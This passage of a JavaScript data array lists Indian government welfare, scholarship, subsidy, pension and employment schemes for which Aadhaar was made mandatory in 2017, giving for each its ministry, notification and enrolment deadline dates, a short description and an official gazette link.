union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175791.pdf", "type": 'scholarship', 'welfare':'Y' }, { "scheme": "Tagore National Fellowship and Scholarship for Cultural Research", "ministry": "Ministry of Culture", "notification": new Date (2017,3,28), "deadline_to_enroll": new Date (2017,5,31), "desc": "Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175791.pdf", "type": 'scholarship', 'welfare':'Y' }, { "scheme": "Seekho aur Kamao Scheme", "ministry": "Ministry of Minority Affairs", "notification": new Date (2017,3,24), "deadline_to_enroll": new Date (2017,5,30), "desc": "“Seekho aur Kamao (Learn & Earn) works towards skill development of minorities. The scheme aims at upgrading the skills of minority youth in various modern/traditional skills depending upon their qualification, present economic trends and market potential, which can earn them suitable employment or make them suitably skilled to go for self-employment. The scheme is implemented through selected expert Project Implementing Agencies (PIAs).The scheme ensures placements of minimum 75% trainees, out of which at least 50% placement is in organized sector. Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175792.pdf", 'welfare':'Y' }, { "scheme": "Public Distribution System (PDS) Kerosene and Domestic LPG Subsidy Scheme", "ministry": "Ministry of Petroleum and Natural Gas", "notification": new Date (2017,3,27), "deadline_to_enroll": new Date (2017,8,30), "desc": "Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175601.pdf", 'welfare':'Y' }, { "scheme": "Incentive to build a Individual Household Toilet (IHHT) under Swachh Bharat Mission", "ministry": "Ministry of Urban Development", "notification": new Date (2017,3,18), "deadline_to_enroll": new Date (2017,4,20), "desc": "An incentive of up to Rs 4000/- is provided for construction of one unit of Individual Household Toilet (IHHT), which can be done by the Self Help Group, Health ward Committee, Contractor or the individuals seeking cash incentive. Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175600.pdf", 'welfare':'Y' }, { "scheme": "National Mission on Oilseeds and Oil Palm (NMOOP)", "ministry": "Ministry of Agriculture and Farmers Welfare", "notification": new Date (2017,3,24), "deadline_to_enroll": new Date (2017,4,31), "desc": "Scheme aims at increasing production of oilseeds and vegetable oils by providing inputs subsidy to the farmers under two components of the Scheme, namely, areas expansion inputs and production inputs. Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175677.pdf", 'welfare':'Y', 'type': 'subsidy' }, { "scheme": "Sub-Mission on Agricultural Mechanization scheme (SMAM)", "ministry": "Ministry of Agriculture and Farmers Welfare", "notification": new Date (2017,3,25), "deadline_to_enroll": new Date (2017,8,30), "desc": "The scheme provides - a. Financial Assistance for Procurement of Agriculture Machinery and Equipment; b. Establish Farm Machinery Banks for Custom Hiring; c. Establish Hi-Tech, High Productive Equipment Hub for Custom Hiring; d. Promotion of Farm Mechanisation in selected villages; e. Financial Assistance for Promotion of Mechanized Operations/hectare Carried out Through Custom Hiring Centres, and; f. Promotion of Farm Machinery and Equipment in North-Eastern Region. Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175661.pdf", 'welfare':'Y' }, { "scheme": "National Award for Road Safety", "ministry": "Ministry of Road Transport and Highways", "notification": new Date (2017,3,26), "deadline_to_enroll": new Date (2017,6,31), "desc": "The scheme provides cash award and appreciation certificate to individuals and also to the organisations, to encourage and recognise the best work done in of the areas of road safety. Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175654.pdf" }, { "scheme": "Scheme for the Development of Silk Industry", "ministry": "Ministry of Textiles", "notification": new Date (2017,3,25), "deadline_to_enroll": new Date (2017,5,30), "desc": "Under the scheme, the Central Silk Board releases central share of subsidy (in cash or kind) under Direct Benefit Transfer to the bank accounts of the Sericulture beneficiaries through its field units or the State Sericulture Departments including the States’ share wherever applicable. Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175640.pdf", 'welfare':'Y', 'type':'subsidy' }, { "scheme": "Salary of teachers under the Scheme for Providing Quality Education for Madrasas (SPQEM)", "ministry": "Ministry of Human Resource Development", "notification": new Date (2017,3,25), "deadline_to_enroll": new Date (2017,8,30), "desc": "The Aadhaar requirement is for the salary of teachers employed at Madarasas. It is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175554.pdf", 'welfare':'N', 'type':'employment' }, { "scheme": "Scheme of Rainfed Area Development (RAD)", "ministry": "Ministry of Agriculture and Farmers Welfare", "notification": new Date (2017,3,18), "deadline_to_enroll": new Date (2017,5,30), "desc": "Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175555.pdf", 'welfare':'Y' }, { "scheme": "Pre-Matric Scholarship Scheme", "ministry": "Ministry of Minority Affairs", "notification": new Date (2017,3,21), "deadline_to_enroll": new Date (2017,5,30), "desc": "The scholarship is awarded for studies in India in a government or private school from Class 1 - 10. Students from Muslim, Sikh, Christian, Buddhist, Jain and Zoroastrian (Parsi) families with annual income of their parents/guardian from all sources not exceeding Rs. 1 lakh are eligible. Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175623.pdf", 'welfare':'Y', 'type':'scholarship' }, { "scheme": "Post-Matric Scholarship Scheme", "ministry": "Ministry of Minority Affairs", "notification": new Date (2017,3,21), "deadline_to_enroll": new Date (2017,5,30), "desc": "The scholarship is awarded for studies in India in a government or private higher secondary school/college/university. Students from Muslim, Sikh, Christian, Buddhist, Jain and Zoroastrian (Parsi) families with annual income of their parents/guardian from all sources not exceeding Rs. 2 lakh are eligible. Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175623.pdf", 'welfare':'Y', 'type':'scholarship' }, { "scheme": "Merit-Cum-Means Scholarship Scheme", "ministry": "Ministry of Minority Affairs", "notification": new Date (2017,3,21), "deadline_to_enroll": new Date (2017,5,30), "desc": "The scholarship is awarded for graduate/post-graduate studies. Students from Muslim, Sikh, Christian, Buddhist, Jain and Zoroastrian (Parsi) families with annual income of their parents/guardian from all sources not exceeding Rs. 2.5 lakh are eligible. Aadhaar is required for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "link": "http://egazette.nic.in/WriteReadData/2017/175623.pdf", 'welfare':'Y', 'type':'scholarship' }, { "scheme": "Mahatma Gandhi National Rural Employment Guarantee Act (MGNREGA)", "ministry": "Ministry of Rural Development", "notification": new Date (2017,0,3), "deadline_to_enroll": new Date (2017,8,30), "desc": "Guarantees rural Indians 100 days of employment--unskilled manual jobs--for a wage. All states and union territories, except Assam, Meghalaya and Jammu and Kashmir, require an Aadhaar number to enroll people in this scheme.", "welfare":'Y', "link": "http://nrega.nic.in/netnrega/writereaddata/Circulars/2001173479.pdf", 'type':'employment' }, { "scheme": "Employees' Pension Scheme (EPS)", "ministry": "Ministry of Labour and Employment", "notification": new Date (2017,0,4), "deadline_to_enroll": new Date (2017,0,31), "desc": "People enrolled in the Employees’ Pension Scheme have to use their Aadhaar number to avail the central government’s contribution to their pension.This is required in all states, except Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/173488.pdf", 'type':'pension' }, { "scheme": "Workers and helpers involved in the Integrated Child Development Services (ICDS) Scheme [Anganwadi Services]", "ministry": "Ministry of women and child development", "notification": new Date (2017,1,6), "deadline_to_enroll": new Date (2017,2,31), "desc": "Anganwadi provides food, pre-school education and primary healthcare to children under 6 and their mothers. All those working in an anganwadi centre must have an Aadhaar number. This is required in all states, except Jammu and Kashmir.", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/174047.pdf" }, { "scheme": "Integrated Child Development Services (ICDS) Scheme training beneficiaries", "ministry": "Ministry of women and child development", "notification": new Date (2017,1,14), "deadline_to_enroll": new Date (2017,2,31), "desc": "Anganwadi provides food, pre-school education and primary healthcare to children under 6 and their mothers. An Aadhaar number is mandatory for all beneficiaries including staff at the Anganwadi Training Centers (AWTCs) or Middle level Training Centers (MLTCs), guest faculty or resource persons and trainees who are enrolled in the AWTCs or MLTCs for training courses. This is required in all states, except Jammu and Kashmir.", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/174159.pdf" }, { "scheme": "Supplementary Nutrition Program offered at Anganwadi Centres", "ministry": "Ministry of women and child development", "notification": new Date (2017,1,6), "deadline_to_enroll": new Date (2018,2,31), "desc": "Anganwadi provides food, pre-school education and primary healthcare to children under 6 and their mothers. Those who seek support from the Supplementary Nutrition Program offered at anganwadi centres require an Aadhaar number. This is mandatory in all states and union territories, except Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174047.pdf" }, { "scheme": "Remuneration under the Integrated Child Development Scheme (ICDS)", "ministry": "Ministry of women and child development", "notification": new Date (2017,1,22), "deadline_to_enroll": new Date (2017,2,31), "desc": "ICDS is a programme that works towards a safe and secure environment for children. All staff members employed by this scheme now require an Aadhaar number for remuneration. This is mandatory in all states and union territories, except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/174355.pdf" }, { "scheme": "Targeted Public Distribution System", "ministry": "Ministry of consumer affairs, food and public distribution", "notification": new Date (2017,1,8), "deadline_to_enroll": new Date (2017,5,30), "desc": "An Aadhaar number is mandatory to receive subsidised food grains and ration cards. This is mandatory in all states and union territories, except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://dfpd.nic.in/writereaddata/Portal/Magazine/Document/1_211_1_aadhaar-notification.pdf", type: 'subsidy' }, { "scheme": "<NAME> (PMFBY)", "ministry": "Ministry of agriculture and farmers welfare", "notification": new Date (2017,1,8), "deadline_to_enroll": "NA", "desc": "The programme insures farmers against crop failure - the cost is split by the centre and state governments. An Aadhaar number is mandatory for receiving a payout from the central government in all states except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174076.pdf" }, { "scheme": "Restructured Weather based Crop Insurance Scheme (RWBCIS)", "ministry": "Ministry of agriculture and farmers welfare", "notification": new Date (2017,1,8), "deadline_to_enroll": "NA", "desc": "The programme insures farmers against crop failure - the cost is split by the centre and state governments. An Aadhaar number is mandatory for receiving a payout from the central government in all states except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174076.pdf" }, { "scheme": "<NAME> – Gramin (PMAY-G) programme", "ministry": "MINISTRY OF RURAL DEVELOPMENT", "notification": new Date (2017,1,8), "deadline_to_enroll": new Date(2017,2,31), "desc": "The rural housing scheme aims to provide housing for all in rural areas by 2022. An Aadhaar number is mandatory for availing the scheme in all states and union territories, except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174204.pdf" }, { "scheme": "National Apprenticeship Promotion Scheme (NAPS)", "ministry": "Ministry of skill development and entrepreneurship", "notification": new Date (2017,1,10), "deadline_to_enroll": "NA", "desc": "The government provides employers 25% of the stipend paid to apprentices under the scheme. People enrolling as trainees or apprentices require an Aadhaar number. It is mandatory in all states, except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174116.pdf" }, { "scheme": "<NAME>", "ministry": "Ministry of human resource development", "notification": new Date (2017,2,2), "deadline_to_enroll": new Date (2017,5,30), "desc": "Aims at universalising elementary education in India. An Aadhaar number is required in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174484.pdf" }, { "scheme": "Permanent Account Number (PAN) card", "ministry": "MINISTRY OF FINANCE", "notification": new Date (2017,2,22), "deadline_to_enroll": new Date (2017,6,1), "desc": "", "welfare":'N', "link": "http://www.hindustantimes.com/business-news/now-aadhaar-a-must-to-file-income-tax-returns-and-apply-for-pan-card/story-71CBEXGGD8yd9iFjUn4oNI.html" }, { "scheme": "Income tax returns", "ministry": "MINISTRY OF FINANCE", "notification": new Date (2017,2,22), "deadline_to_enroll": new Date (2017,6,1), "desc": "", "welfare":'N', "link": "http://www.hindustantimes.com/business-news/now-aadhaar-a-must-to-file-income-tax-returns-and-apply-for-pan-card/story-71CBEXGGD8yd9iFjUn4oNI.html" }, { "scheme": "Support to Training and Employment Programme (STEP) Scheme for women", "ministry": "MINISTRY OF WOMEN AND CHILD DEVELOPMENT", "notification": new Date (2017,1,25), "deadline_to_enroll": new Date (2017,5,30), "desc": "The scheme aims to provide employable skills to women that are 16 years and older. The Aadhaar requirement is valid in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://www.wcd.nic.in/sites/default/files/NOTIFICATION%20-%20PEW-STEP.pdf", "type":"employment" }, { "scheme": "Scheme for Adolescent Girls", "ministry": "MINISTRY OF WOMEN AND CHILD DEVELOPMENT", "notification": new Date (2017,1,25), "deadline_to_enroll": new Date (2017,5,30), "desc": "The scheme provides food, healthcare and life skills education for adolescent girls. An Aadhaar number is mandatory to avail services in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174222.pdf" }, { "scheme": "Honorarium for staff of National Mission of Empowerment of Women (NMEW)", "ministry": "MINISTRY OF WOMEN AND CHILD DEVELOPMENT", "notification": new Date (2017,1,16), "deadline_to_enroll": new Date (2017,2,31), "desc": "Provides health care, social empowerment and education and other services for empowering women. An Aadhaar number is mandatory for all workers to receive their honorarium under the scheme. It is mandatory in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/174261.pdf" }, { "scheme": "Incentive for construction of Individual Household Latrine (IHHL)", "ministry": "MINISTRY OF DRINKING WATER AND SANITATION", "notification": new Date (2017,1,16), "deadline_to_enroll": new Date (2017,2,31), "desc": "Provides incentive to all Below Poverty Line (BPL) households, Above Poverty Line households (APL) restricted to SCs/STs, small and marginal farmers, landless labourers with homestead, differently abled and women-headed households for the construction of bathrooms in rural areas. An Aadhaar number is a mandatory for this scheme in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174266.pdf" }, { "scheme": "Training under e-Panchayat Mission Mode Project", "ministry": "MINISTRY OF PANCHAYATI RAJ", "notification": new Date (2017,1,17), "deadline_to_enroll": new Date (2017,5,30), "desc": "e-Panchayat is an e-governance scheme for Panchayats. An Aadhaar number is mandatory for training to use applications under the e-governance framework in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174295.pdf" }, { "scheme": "Soil Health Management Scheme and Soil Health Card Scheme", "ministry": "Ministry of Agriculture and Farmers Welfare", "notification": new Date (2017,1,17), "deadline_to_enroll": new Date (2017,2,31), "desc": "The schemes come under the National Mission for Sustainable Agriculture and provide uniform approach to collect soil samples and do testing at the laboratories. The Aadhaar requirement is valid in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174303.pdf" }, { "scheme": "Swadhar Greh Scheme", "ministry": "MINISTRY OF WOMEN AND CHILD DEVELOPMENT", "notification": new Date(2017,1,23), "deadline_to_enroll": new Date(2017,8,30), "desc": 'The scheme targets female victims of unfortunate circumstances who are in need of institutional support for rehabilitation. It is a sub-scheme of a centrally sponsored umbrella scheme called "Protection and Empowerment of Women". The Aadhaar requirement is valid in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.', "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174364.pdf" }, { "scheme": "Ujjawala Scheme", "ministry": "MINISTRY OF WOMEN AND CHILD DEVELOPMENT", "notification": new Date(2017,1,23), "deadline_to_enroll": new Date(2017,2,31), "desc": "The scheme works towards the prevention of trafficking and rescue, rehabilitation, and reintegration of victims of trafficking for commercial sexual exploitation. An Aadhaar number is mandatory in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174365.pdf" }, { "scheme": "<NAME>", "ministry": "MINISTRY OF HUMAN RESOURCE DEVELOPMENT", "notification": new Date(2017,1,21), "deadline_to_enroll": new Date(2018,2,31), "desc": "Programme for adult education. The Aadhaar requirement is valid in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174524.pdf" }, { "scheme": "Inclusive Development of Disabled at the Secondary Stage under Rashtriya Madhyamik <NAME>", "ministry": "MINISTRY OF HUMAN RESOURCE DEVELOPMENT", "notification": new Date(2017,1,21), "deadline_to_enroll": new Date(2017,8,30), "desc": "Provides assistance for the inclusive education of the disabled children in classes IX-XII. Girl child with special needs can avail a Rs 200 stipend under the scheme. An Aadhaar number is mandatory for the same in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174479.pdf", type: 'scholarship' }, { "scheme": "Central Scholarship Schemes for students with disabilities", "ministry": "MINISTRY OF SOCIAL JUSTICE AND EMPOWERMENT", "notification": new Date(2017,2,3), "deadline_to_enroll": new Date(2017,5,30), "desc": "", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174527.pdf", type: 'scholarship' }, { "scheme": "Maternity Benefit Programme", "ministry": "MINISTRY OF WOMEN AND CHILD DEVELOPMENT", "notification": new Date(2017,1,22), "deadline_to_enroll": new Date(2017,2,31), "desc": "Pregnant women and lactating mothers who are 19 years or above and up to two live births, are provided a cash incentive. The Aadhaar requirement is valid in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174352.pdf" }, { "scheme": "Skills Training of Persons with Disabilities", "ministry": "MINISTRY OF SOCIAL JUSTICE AND EMPOWERMENT", "notification": new Date(2017,2,3), "deadline_to_enroll": new Date(2017,5,30), "desc": "Provides skills training for people with disabilities. Benefits include transport cost, boarding and lodging cost, conveyance cost and cost for post placement support. An Aadhaar number is mandatory to avail these benefits in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174530.pdf" }, { "scheme": "National Water Mission", "ministry": "Ministry of Water Resources, River Development and Ganga Rejuvenation", "notification": new Date(2017,2,3), "deadline_to_enroll": new Date(2017,8,30), "desc": "The scheme works towards conservation of water, minimizing wastage and ensuring its distribution. All individuals eligible to receive benefits under the same require an Aadhaar in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174611.pdf" }, { "scheme": "Scheme of Assistance to Disabled Persons for assistive devices (ADIP)", "ministry": "MINISTRY OF SOCIAL JUSTICE AND EMPOWERMENT", "notification": new Date(2017,2,3), "deadline_to_enroll": new Date(2017,5,30), "desc": "Aims to help people with disabilities for purchase and, or, fitting of aids and appliances, assistive devices. An Aadhaar number is mandatory to avail these benefits in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174521.pdf" }, { "scheme": "Compensation for Bhopal Gas victims", "ministry": "MINISTRY OF CHEMICALS AND FERTILIZERS", "notification": new Date(2017,2,6), "deadline_to_enroll": new Date(2017,8,30), "desc": "Aadhaar is mandatory to receive the cash compensation given to victims in the Bhopal Gas tragedy.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174626.pdf" }, { "scheme": "Accredited Social Health Activists (ASHA)", "ministry": "MINISTRY OF HEALTH AND FAMILY WELFARE", "notification": new Date(2017,1,28), "deadline_to_enroll": new Date(2017,2,31), "desc": "Under the National Health Mission, voluntary community health workers known as ASHA are given performance based incentives. An Aadhaar number is mandatory to avail these in all states and union territories except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/174522.pdf" }, { "scheme": "Staff involved in National Health Mission", "ministry": "MINISTRY OF HEALTH AND FAMILY WELFARE", "notification": new Date(2017,1,28), "deadline_to_enroll": new Date(2017,2,31), "desc": "Staff involved in the National Health Mission need Aadhaar to avail their benefits in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/174523.pdf" }, { "scheme": "Mid Day Meal Scheme", "ministry": "Ministry of human resource development", "notification": new Date(2017,1,28), "deadline_to_enroll": new Date(2017,7,30), "desc": "The scheme provides food to children studying in classes I to VIII in government or government aided schools or Special Training Centres (STC) or Madrasas or Maqtabs supported under Sarva Shiksha Abhiyan. An Aadhaar number is mandatory to get access to food, and for the cooks involved in its preparation in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174505.pdf" }, { "scheme": "National Career Services", "ministry": "Ministry of labour and employment", "notification": new Date(2017,1,27), "deadline_to_enroll": new Date(2017,1,27), "desc": "Helps find jobs, provides skills training to increase employability of people with disabilities and SC/ST candidates. In order to avail its benefits, Aadhaar is mandatory in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174402.pdf", type: "employment" }, { "scheme": "Conduct of Yoga Classes at Grih Kalyan Kendras", "ministry": "Ministry of personnel, public grievances and pensions", "notification": new Date(2017,1,15), "deadline_to_enroll": new Date(2017,1,28), "desc": "Grih Kalyan Kendra is a welfare society for central government employees. Yoga instructors involved at these centres require Aadhaar to avail benefits in all states except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174165.pdf" }, { "scheme": "Assistance for come and play scheme", "ministry": "MINISTRY OF PERSONNEL, PUBLIC GRIEVANCES AND PENSIONS", "notification": new Date(2017,1,15), "deadline_to_enroll": new Date(2017,1,28), "desc": "Aadhaar is mandatory to avail sports facilities under the scheme in all states except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174165.pdf" }, { "scheme": "Annual Grant to <NAME>", "ministry": "Ministry of personnel, public grievances and pensions", "notification": new Date(2017,1,15), "deadline_to_enroll": new Date(2017,1,28), "desc": "<NAME> is a welfare society for central government employees.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174165.pdf" }, { "scheme": "Coaching academies and summer camps by the Central Civil Services Cultural and Sports Board", "ministry": "Ministry of personnel, public grievances and pensions", "notification": new Date(2017,1,15), "deadline_to_enroll": new Date(2017,1,28), "desc": "Coaches involved in the academies and camps require an Aadhaar to avail benefits in all states except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174165.pdf" }, { "scheme": "Centrally Sponsored Scholarship Schemes for SC/OBC", "ministry": "Ministry of social justice and empowerment", "notification": new Date(2017,1,16), "deadline_to_enroll": new Date(2017,2,31), "desc": "The scheme provides scholarships for high school and college education of SC/OBC students. An Aadhaar number is mandatory to get these scholarships in all states, except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174186.pdf", type: 'scholarship' }, { "scheme": "Central Sector Scholarship Scheme for college and university students", "ministry": "Ministry of Human Resource Development", "notification": new Date(2017,1,16), "deadline_to_enroll": new Date(2017,5,30), "desc": "", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174197.pdf", type: 'scholarship' }, { "scheme": "National Means-cum-Merit Scholarship Scheme (NMMSS)", "ministry": "Ministry of human resource development", "notification": new Date(2017,1,15), "deadline_to_enroll": new Date(2017,8,30), "desc": "The scheme offers scholarships to 9-12 class students from economically weaker sections in government schools. Children availing scholarships require Aadhaar in all states except Assam, Meghalaya and Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174187.pdf", type: 'scholarship' }, { "scheme": "Deen Dayal Upadhyaya Grameen Kaushalya Yojana (DDU-GKY)", "ministry": "Ministry of rural development", "notification": new Date(2017,1,15), "deadline_to_enroll": new Date(2017,2,31), "desc": "DDU-GKY is a skills training and placement programme focused on rural poor youth. It requires an Aadhaar number in all states except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174212.pdf" }, { "scheme": "Army, Navy, Air Force Pensions", "ministry": "Defence Ministry", "notification": new Date(2017,1,30), "deadline_to_enroll": new Date(2017,4,30), "desc": "", "welfare":'N', "link": "http://egazette.nic.in/WriteReadData/2017/174639.pdf", 'type':'pension' }, { "scheme": "Schemes for the Protection of Civil Rights Act, 1955 and the Scheduled Castes and the Scheduled Tribes (Prevention of Atrocities) Act, 1989", "ministry": "Ministry of social justice and empowerment", "notification": new Date(2017,2,1), "deadline_to_enroll": new Date(2017,5,30), "desc": "Under the various schemes, SC/ST victims of atrocities receive relief and rehabilitation and people from the community that are involved in inter-caste marriage receive incentives. Aadhaar is required for these in all states, except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174466.pdf" }, { "scheme": "Pradhan Mantri Ujjwala Yojana (PMUY)", "ministry": "MINISTRY OF PETROLEUM AND NATURAL GAS", "notification": new Date(2017,2,6), "deadline_to_enroll": new Date(2017,4,31), "desc": "The scheme provides Liquefied Petroleum Gas (LPG) to households below the poverty lines. An Aadhaar number is mandatory to get benefits under the scheme in all states except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174618.pdf" }, { "scheme": "Scholarship Scheme of Satyajit Ray Films and Television Institute, Kolkata", "ministry": "Ministry of Information and Broadcasting", "notification": new Date(2017,2,6), "deadline_to_enroll": new Date(2017,8,30), "desc": "An Aadhaar number is mandatory to get benefits under the scheme in all states except Assam, Meghalaya, Jammu and Kashmir. The deadline to enroll was extended in a later notification dated September 5, 2017. ", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174653.pdf", type: 'scholarship' }, { "scheme": "Journalist Welfare Scheme through Press Information Bureau", "ministry": "Ministry of Information and Broadcasting", "notification": new Date(2017,2,6), "deadline_to_enroll": new Date(2017,8,30), "desc": "The scheme provides one time ex-gratia relief on urgent basis to journalists and their families. The deadline to enroll was extended in a later notification dated September 5, 2017. An Aadhaar number is mandatory to avail benefits in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174653.pdf" }, { "scheme": "Bonded Labour Rehabilitation Scheme", "ministry": "Ministry of Labour and Employment", "notification": new Date(2017,2,6), "deadline_to_enroll": new Date(2017,5,30), "desc": "The scheme provides cash and non-cash benefits for the rehabilitation of bonded labourers. The Aadhaar requirement is valid in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174622.pdf" }, { "scheme": "“Per Drop More Crop” component of the Prime Minister <NAME>ana (PMKSY)", "ministry": "Ministry of agriculture and farmers welfare", "notification": new Date(2017,2,17), "deadline_to_enroll": new Date(2017,11,31), "desc": "It provides subsidised micro-irrigation system and other services to farmers. An Aadhaar number is mandatory for the same in all states and union territories except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174893.pdf", type: 'subsidy' }, { "scheme": "<NAME> (PMKVY)", "ministry": "MINISTRY OF SKILL DEVELOPMENT AND ENTREPRENEURSHIP", "notification": new Date(2017,2,20), "deadline_to_enroll": 'NA', "desc": "The skill development programme for youths requires Aadhaar in all states and union territories, except Assam, Meghalaya, Jammu and Kashmir.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174874.pdf" }, { "scheme": "Schemes to aid the students in education, and research in science and technology development within the age group of 10 to 32 years", "ministry": "MINISTRY OF SCIENCE AND TECHNOLOGY", "notification": new Date(2017,2,9), "deadline_to_enroll": new Date(2017,8,30), "desc": "Central Sector Scheme to aid the students in education, and research in Science and technology development. Different programmes under it include - DISHA Programme, INSPIRE Award, INSPIRE Scholarship, INSPIRE Internship, INSPIRE Fellowship.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174686.pdf", type: 'scholarship' }, { "scheme": "Mission for Integrated Development of Horticulture (NHB,CDB,CIH)", "ministry": "MINISTRY OF AGRICULTURE AND FARMERS WELFARE", "notification": new Date(2017,1,8), "deadline_to_enroll": new Date(2017,3,1), "desc": "Individuals who want to avail subsidies under National Horticulture Board, Coconut Development Board & Central Institute for Horticulture, Nagaland, sub-schemes of Mission for Integrated Development of Horticulture need an Aadhaar number.", "welfare":'Y', "link": "http://egazette.nic.in/WriteReadData/2017/174111.pdf", type: 'subsidy' }, { "scheme": "Mission for Integrated Development of Horticulture (NHM,HMNEH,NABM)", "ministry": "MINISTRY OF AGRICULTURE AND FARMERS WELFARE", "notification": new Date(2017,2,10), "deadline_to_enroll": new Date(2017,3,1), "desc": "After making a notification regarding three of its six sub-schemes a month before, the ministry made Aadhaar mandatory for the other three as well. These include - National Horticulture Mission 